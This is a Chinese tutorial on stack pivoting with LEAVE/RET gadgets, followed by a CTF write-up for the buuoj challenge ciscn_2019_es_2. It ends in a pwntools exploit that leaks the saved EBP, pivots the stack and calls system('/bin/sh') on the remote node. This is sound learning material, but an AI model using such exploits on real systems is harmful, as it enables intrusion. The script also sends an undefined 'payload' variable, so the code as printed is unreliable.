栈迁移

先说结论:
当return address向后溢出的长度无法满足构造的rop链的时候就会用到栈迁移。
栈迁移就是利用两个LEAVE/RETN指令,实现ESP、EBP和EIP的控制。第一个POP EBP指令跳去攻击者想要跳去的地址,第二个LEAVE指令用于将ESP指向攻击者设置好的EBP,这样就完成了栈的迁移。随后的POP EBP并不会对EBP造成影响,只是ESP指向了ESP+4。RETN(即POP EIP)控制EIP指向ESP栈顶位置,就是我们shellcode的地址。随后可以开始执行shellcode了。

首先了解一下函数调用过程中栈的变化,汇编伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PUSH arga//参数a入栈
PUSH argb//参数b入栈
CALL func
ADD ESP,8h//平衡堆栈


func:
PUSH EBP //保存函数调用前的EBP
MOV EBP,ESP //令EBP指向ESP的地址,即原ESP作为新EBP
SUB ESP,48h//开辟func函数的栈空间
xxxxx
MOV ESP,EBP//令ESP指向EBP的地址,即恢复为函数开辟的栈空间。
POP EBP
RETN

展开来讲,CALL和RETN指令的本质都是修改EIP。
CALL指令的本质就是将CALL下一条指令压栈(同时ESP的值也要减4),然后将func函数的地址传给EIP。即:

1
2
PUSH EIP+4
MOV EIP,[func]

而RETN指令的本质,是将栈顶指针弹出传给EIP(同时ESP的值也要加4),也就是此时EIP指向[ESP-4]。即:

1
POP EIP

这样看来,上面的指令就变成了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PUSH arga
PUSH argb
PUSH EBP+4
MOV EIP,[func]
ADD ESP,8h


func:
PUSH EBP
MOV EBP,ESP
SUB ESP,48h
xxxxx
MOV ESP,EBP
POP EBP
POP EIP

函数调用结束刚好是函数调用开始的逆过程,用于恢复堆栈。

知道了这些之后,可以再返回看一下我们开头的结论部分,大概有数之后,就可以继续看栈迁移具体的实现流程了。
设攻击者想要跳转到的地址为shellcoed_addr,另一处LEAVE/RETN的地址为gadget_addr。

  1. 利用缓冲区溢出,覆盖原函数的LEAVE和RETN两处分别为[shellcoed_addr+4]和gadget_addr。
  2. 函数执行到POP EBP这条指令的时候,EBP被修改成了[shellcoed_addr+4]。此时ESP下移,
  3. 继续执行RETN(POP EIP),EIP被修改成了gadget_addr。
  4. 执行gadget_addr的内容,即
    1
    2
    3
    MOV ESP,EBP
    POP EBP
    RETN

这时候MOV ESP,EBP会将ESP也指向[shellcoed_addr-4]。
POP EBP将栈顶指针传给EBP,栈顶指针ESP原本就是[shellcoed_addr-4],所以没有实质影响。执行完后ESP指向[shellcoed_addr]。这时候,RETNPOP EIP将ESP当前的地址[shellcoed_addr]弹出给EIP。这样就实现了控制EIP。

注:ESP在进行了两个POP指令之后会比EBP地址大,但这并不影响,我们要做的是控制EIP。

以几道题为例。

  1. ciscn_2019_es_2 from buuoj
    checksec一下
    1
    2
    3
    4
    5
    6
    7
    seclab@seclabPC:/home/PycharmProjectspy2/pwn$ checksec ./ciscn
    [*] '/home/PycharmProjectspy2/pwn/ciscn'
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)

开启了NX保护,是32位程序。

拖进ida中查看一下。
发现了函数列表中有个hack函数,进去发现了system函数。但是没有/bin/sh,需要自己填入。

这是主函数

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}


跟进vul函数查看函数里面是什么

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s; // [esp+0h] [ebp-28h]

memset(&s, 0, 0x20u);
read(0, &s, 0x30u);
printf("Hello, %s\n", &s);
read(0, &s, 0x30u);
return printf("Hello, %s\n", &s);
}


可以看到一个长度为0x28的数组,memset对它进行初始化清零。
read函数只能读入0x30个字节,s的首地址距离ebp有0x28个字节。所以只能溢出0x30-0x28=8个字节。而一个地址四个字节,所以只能覆盖old ebp和retn。可以使用栈迁移来解决栈溢出空间不足的问题。
查找一下栈迁移需要的leave_ret指令。

同时没有查找到bin/sh串,这个参数需要我们传入。
我们可以将目标地址设置在s数组的内存区域。既然如此,首先我们需要知道s数组的首地址距离old_ebp的距离。这样就可以定位新的ebp和作为payload传入的/bin/sh的地址。
下面就来确定偏移。
注意到,read函数后是printf函数,printf具有不遇到\0就会一直输出的特点,所以可以利用这一点来泄露old_ebp的地址。
同时在ida中看到,距离vul函数的leave_ret最近的地方有一个nop指令,可以把断点下在这里,方便进行调试和查看堆栈状态。

提示输入,输入两次后查看堆栈。

0xd018-0xcff0=0x38,说明我们输入的参数距离old_ebp的距离是0x38字节。
另外,由于leave指令会pop ebp,将esp地址拉高4个字节,所以需要aaaa打头来平衡,pop掉aaaa后,esp将会指向system的地址,再pop给eip的就是system的地址了。
这样就可以构造payload。

计算得到old_ebp-0x38+0x4×4=old_ebp-0x28,即传入的binsh串的首地址是old_ebp-0x28。
定位system函数:


写出exp:
(注意应使用pwntools中的 send 而非 sendline,否则payload末尾会附上终止符导致无法连带打印出栈上内容)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

p = remote("node4.buuoj.cn", 26038)
system_addr = 0x8048400
gadget_leave_ret_addr = 0x080484b8

payload1 = 'a'*0x24+'b'*0x4
p.send(payload)
p.recvuntil('bbbb')
old_ebp = u32(p.recv(4))

payload2 = 'a'*0x4+p32(system_addr)+'b'*0x4+p32(old_ebp-0x28)+"/bin/sh"
payload2=payload2.ljust(0x28,'\x00')
payload2 += p32(old_ebp-0x38)+p32(gadget_leave_ret_addr)

p.sendline(payload2)
p.interactive()